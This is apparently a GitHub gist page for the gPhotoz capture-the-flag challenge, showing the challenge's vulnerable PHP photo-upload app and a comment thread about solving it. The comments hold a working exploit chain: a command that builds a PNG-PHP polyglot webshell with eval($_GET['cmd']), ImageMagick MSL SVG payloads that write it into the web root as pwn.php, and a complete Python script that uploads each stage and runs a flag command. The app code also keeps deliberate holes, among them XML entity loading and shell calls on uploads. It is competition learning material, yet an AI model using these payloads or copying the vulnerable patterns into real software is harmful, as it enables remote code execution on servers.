-
-
Save neex/67d5b47e6ac457edd44a52c772104158 to your computer and use it in GitHub Desktop.
<?php | |
// require_once('config.php'); NOTE: the line is commened by the writeup author. config.php is inlined below. | |
/* config.php START */ | |
// XXE? Lame. Real hackers get RCE. | |
$secret = 'aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ=='; | |
/* config.php END */ | |
error_reporting( E_ALL ); | |
session_start(); | |
// totally not copy&pasted from somewhere... | |
function get_size($file, $mime_type) { | |
if ($mime_type == "image/png"||$mime_type == "image/jpeg") { | |
$stats = getimagesize($file); | |
$width = $stats[0]; | |
$height = $stats[1]; | |
} else { | |
$xmlfile = file_get_contents($file); | |
$dom = new DOMDocument(); | |
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); | |
$svg = simplexml_import_dom($dom); | |
$attrs = $svg->attributes(); | |
$width = (int) $attrs->width; | |
$height = (int) $attrs->height; | |
} | |
return [$width, $height]; | |
} | |
function workdir() { | |
$d = 'upload/'.md5(session_id()); | |
if (!is_dir($d)) | |
mkdir($d); | |
return $d; | |
} | |
function list_photos() { | |
$d = 'upload/'.md5(session_id()); | |
if (!is_dir($d)) return []; | |
$result = []; | |
foreach(glob("{$d}/*.*") as $f) { | |
if (strrpos($f, 'small') === FALSE) | |
$result[basename($f)] = $f; | |
} | |
return $result; | |
} | |
function upload() { | |
if (!isset($_FILES['photo'])) | |
return; | |
$p = new PhotoUpload($_FILES['photo']['tmp_name']); | |
$p->thumbnail(); | |
} | |
class PhotoUpload { | |
private $failed = false; | |
function __construct($path) { | |
$formats = [ | |
"image/gif" => "gif", | |
"image/png" => "png", | |
"image/jpeg" => "jpg", | |
"image/svg+xml" => "svg", | |
// Uncomment when launching gVideoz | |
//"video/mp4" => "mp4", | |
]; | |
$mime_type = mime_content_type($path); | |
if (!array_key_exists($mime_type, $formats)) { | |
die; | |
} | |
$size = get_size($path, $mime_type); | |
if ($size[0] * $size[1] > 65536) { | |
die; | |
} | |
$this->ext = $formats[$mime_type]; | |
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}"; | |
move_uploaded_file($path, workdir()."/{$this->name}"); | |
} | |
function thumbnail() { | |
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret); | |
if ($ret) | |
$this->failed = true; | |
} | |
function __destruct() { | |
if ($this->failed) { | |
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}")); | |
} | |
} | |
} | |
if (isset($_GET['action'])) { | |
switch ($_GET['action']) { | |
case 'upload': | |
upload(); | |
header('Location: ?'); | |
die; | |
break; | |
case 'src': | |
show_source(__FILE__); | |
die; | |
default: | |
break; | |
} | |
} | |
?> | |
<html> | |
<head> | |
<title>gPhotoz</title> | |
</head> | |
<body> | |
<div> | |
<form action="?action=upload" method="POST" enctype="multipart/form-data"> | |
<input type="file" name="photo"><input type="submit" value="Upload"> | |
</form> | |
</div> | |
<div> | |
<?php foreach(list_photos() as $name => $path): ?> | |
<div> | |
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a> | |
</div> | |
<?php endforeach ?> | |
</div> | |
</body> | |
<a href="?action=src"></a> | |
</html> |
You also might want to change shell_huihui.php
to something else now, I'm not sure if the upload/
folder is cleared properly in the challenge and I don't know how imagemagick handles already existing files.
Yes!! I realised you missed out the closing tag ?>
- I tried to test the payload locally, by typing php shell.png
in my console ... totally works now~ yay ... Thanks so much for your help; brilliant exploit, and awesome clear writeup 🌟
I got my payload to work, and was about to leave a comment here to say so, before I read your reply above.
I went to grab a 1x1 black png from http://png-pixel.com, then mogrify -set comment '<?php echo phpinfo(); ?>' step1-shell.png
step2-polymorph.svg
<?xml version="1.0" encoding="UTF-8"?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
<write filename="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/pwn.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/22899e1574b0129d207fc236a71e788e.png" />
</svg>
</image>
step3.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/fc73d07d2a276fe7fff1a82013b14d38/9b14b2b773d35dfa1b13455744560ccb.svg" />
</svg>
I'm trying to spend this week (and maybe next) following through all the writeups to learn, while the challenges are still up
Nicely done. Thanks for reading our writeup.
I think imagemagick still has a lot of bugs to find )
Nicely done. Thanks for reading our writeup.
np
I think imagemagick still has a lot of bugs to find )
oh ok
automated
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import re
import io
import sys
sys.dont_write_bytecode = True
import base64
import subprocess
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup
if __name__ == "__main__":
# convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>' "rgba:/dev/urandom[0]" shell.png
# @ http://png-pixel.com
the_png = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
the_png = base64.b64decode(the_png)
filepath = "1x1.png"
with open(filepath,"wb") as f: f.write(the_png)
print>>sys.stderr, "=>",filepath
# @ https://stackoverflow.com/questions/44017632/imagemagick-adding-and-reading-comment#answer-44018387
cmd = ["mogrify","-set","comment","\"<?php system('/get_flag') ?>\"",filepath]
print>>sys.stderr, " ".join(cmd)
proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
# stdin=subprocess.PIPE,
# stdout=subprocess.PIPE,stderr=subprocess.PIPE,
# shell=True,close_fds=True)
stdout,stderr = proc.communicate()
if stderr: print>>sys.stderr, "err:",stderr
if stdout: print stdout
# proc.wait()
# stderr = proc.stderr.read()
# if stderr: print>>sys.stderr, "err:",stderr
# stdout = proc.stdout.read()
# print stdout
# curl -XPOST -sL "http://gphotos.ctfcompetition.com:1337/?action=upload" -H "Cookie: PHPSESSID=..." -F "photo=@1x1.png"
sess = requests.Session()
baseuri = "http://gphotos.ctfcompetition.com:1337"
resp = sess.get(baseuri)
assert "Set-Cookie" in resp.headers
hdr_cookie = resp.headers["Set-Cookie"]
m = re.match(r"^PHPSESSID=([a-z0-9]{26})",hdr_cookie)
if m:
sess_id = m.group(1)
print "PHPSESSID=%s"%sess_id
hdr = {"Cookie":"PHPSESSID=%s"%sess_id}
the_url = "%s/?action=upload"%baseuri
files = {"photo":open(filepath,"rb")}
# print>>sys.stderr, requests.Request("POST",the_url,files=files).prepare().body
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
resp = sess.get(baseuri,headers=hdr)
html = resp.content
soup = BeautifulSoup(html,"html.parser")
# @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
imgs = soup.select("a[alt] > img[src]")
if imgs: # and len(imgs)==1:
print>>sys.stderr, imgs
upload = imgs[-1].parent["href"]
m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.png",upload)
if m:
img_dir,img_basename = m.groups()
print>>sys.stderr, img_dir,img_basename
tpl = """<?xml version="1.0" encoding="UTF-8"?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/{0}/{1}.png" />
<write filename="/var/www/html/upload/{0}/pwn.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/{0}/{1}.png" />
</svg>
</image>""".format(img_dir,img_basename)
print>>sys.stderr, tpl.replace("\t"," ")
polymorph = io.BytesIO(tpl)
the_url = "%s/?action=upload"%baseuri
files = {"photo":polymorph}
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
resp = sess.get(baseuri,headers=hdr)
html = resp.content
soup = BeautifulSoup(html,"html.parser")
# @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
imgs = soup.select("a[alt] > img[src]")
if imgs: # and len(imgs)==2:
print>>sys.stderr, imgs
upload = imgs[-1].parent["href"]
m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.svg",upload)
if m:
img_dir,img_basename = m.groups()
print>>sys.stderr, img_dir,img_basename
tpl = """<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/{0}/{1}.svg" />
</svg>""".format(img_dir,img_basename)
print>>sys.stderr, tpl.replace("\t"," ")
step3 = io.BytesIO(tpl)
the_url = "%s/?action=upload"%baseuri
files = {"photo":step3}
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
# the_url = "%s/upload/%s/pwn.php?cmd=system(\"/get_flag\")"%(baseuri,img_dir)
the_url = "%s/upload/%s/pwn.php"%(baseuri,img_dir)
resp = sess.get(the_url,headers=hdr)
print resp.content
# CTF{8d62b2ffc578227e67ca8bab53420ded}
sess.close()
Nice!
Hey,
I rechecked the post and found out that I forgot to include the ending
?>
in my image generation command, so the image is invalid when parsed as php script.The correct command should be:
convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] png.image.png
Note that the comment ends with
?>
now. Size doesn't matter here, so I changed it to 1x1.BTW, the image is nothing more than a PHP script that is also a valid PNG. I'm sure you've seen something like this earlier. The command above is just a convenient way to generate such images.
You can check the image by "running" it locally.
If you supply invalid image to php, it will complain about syntax errors:
If you supply a valid image, it will output a bunch of binary data along with
Undefined index: cmd
message: